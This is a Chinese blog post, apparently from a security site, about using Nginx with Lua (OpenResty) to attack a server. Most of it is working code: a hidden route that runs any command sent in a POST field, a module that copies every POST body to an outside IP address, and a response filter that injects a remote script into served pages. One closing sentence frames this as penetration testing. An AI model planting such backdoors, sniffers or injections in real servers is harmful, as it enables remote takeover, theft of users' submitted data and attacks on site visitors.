Nginx Lua安全应用示例:后门/监听/挂马等

2019年9月28日08:00:35 发表评论

Nginx + Lua

nginx是一个用C语言开发的高性能WEB服务器及反向代理服务器,先将Nginx+Lua组合到一起的是OpenResty(类似的还有淘宝的tengine)。OpenResty通过汇聚各种设计精良的 Nginx 模块,从而将 Nginx 有效地变成一个强大的通用 Web 应用平台,在WEB应用与信息安全领域均有广泛的应用:

waf、安全代理(身份认证、敏感信息删除等)
Backdoor 后门
数据监听、窃取
挂马
lua代码加密及隐蔽
更多

Nginx lua模块指令的顺序

nginx有11个处理阶段,如下图所示:

Nginx Lua安全应用示例:后门/监听/挂马等

一般我们在开发过程中常用到的阶段如下:

set_by_lua*: 流程分之处理判断变量初始化
rewrite_by_lua*: 转发、重定向、缓存等功能(例如特定请求代理到外网)
access_by_lua*: IP准入、接口权限等情况集中处理(例如配合iptable完成简单防火墙)
content_by_lua*: 内容生成
header_filter_by_lua*: 应答HTTP过滤处理(例如添加头部信息)
body_filter_by_lua*: 应答BODY过滤处理(例如完成应答内容统一成大写)
log_by_lua*: 回话完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)

一般情况下,我们使用content阶段即可。

后门示例

找到conf/nginx.conf,在server块中添加路由:

location = /a.php {

default_type 'text/plain';

content_by_lua_file lua/backdoor.lua;

}

然后创建lua/backdoor.lua脚本,你也可以创建在任意位置,不过要对应上文的content_by_lua_file字段:

ngx.req.read_body()

local post_args = ngx.req.get_post_args()

local cmd = post_args["cmd"]

if cmd then

f_ret = io.popen(cmd)

local ret = f_ret:read("*a")

ngx.say(string.format("%s", ret))

end

重载nginx

nginx -s reload

数据监听、窃取示例

nginx实现数据监听非法方便,只要以下ngx.req.read_body()和local post_args = ngx.req.get_post_args()2行代码即可, 再利用lua-resty-http模块就可以将数据通过post的方式提交到黑阔指定的地方,测试代码如下:

local http = require "resty.http"

local cjson = require("cjson")

local _M = {}

function _M.sniff()

ngx.req.read_body()

local post_args = ngx.req.get_post_args()

ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args))

if post_args then

local httpc = http.new()

local res, err = httpc:request_uri("http://111.111.111.111/test/", {

method = "POST",

body = "data=" .. cjson.encode(post_args),

headers = {

["Content-Type"] = "application/x-www-form-urlencoded",

}

})

end

end

return _M

挂马示例

在nginx返回数据时,将网页木马插入即可,代码如下:

function _M.hang_horse()

local data = ngx.arg[1] or ""

local html = string.gsub(data, "", "<script src=\"http://url/1.js\"> <span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start"></span></script>")

ngx.arg[1] = html

end

在实际的渗透测试与安全检测中,并不限于以上举的几个小例子,我们应还应把服务容器载体做为一个分支来处理。

发表评论

后发表评论